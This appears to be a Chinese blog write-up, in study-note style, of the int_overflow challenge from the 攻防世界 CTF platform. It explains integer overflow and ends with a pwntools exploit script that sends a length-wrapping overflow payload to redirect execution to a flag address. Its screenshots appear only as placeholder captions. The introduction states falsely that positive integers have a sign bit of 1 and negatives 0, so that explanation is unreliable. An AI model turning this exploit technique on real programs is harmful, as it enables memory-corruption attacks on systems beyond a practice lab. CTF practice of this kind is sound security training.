整数溢出

整数分为有符号和无符号两种类型,有符号数以最高位作为其符号位,即正整数最高位为1,负数为0,无符号数取值范围为非负数,常见各类型占用字节数如下:
整数溢出_第1张图片
当程序中的数据超过其数据类型的范围,则会造成溢出,整数类型的溢出被称为整数溢出。
参考文献:https://wiki.x10sec.org/pwn/integeroverflow/intof/
例题:攻防世界(int_overflow)
整数溢出_第2张图片整数溢出_第3张图片
整数溢出_第4张图片

整数溢出_第5张图片
v3字符串的长度可以是4-8个字符,也可以是260-264个字符,接下来查看如何利用此漏洞。
整数溢出_第6张图片
整数溢出_第7张图片

from pwn import *
io=remote('111.111.111.23',26874)
# flag地址
flag_addr = 0x0804868B
# 构建payload范围在260-264
p = 0x14 * "a" + 4 * "A" + p32(flag_addr) + "a" * 234
io.sendlineafter("Your choice:", "1")
io.sendlineafter("your username:", "2")
io.recvuntil("your passwd:")
io.sendline(p)
io.recv()
io.interactive()

你可能感兴趣的:(Pwn学习笔记)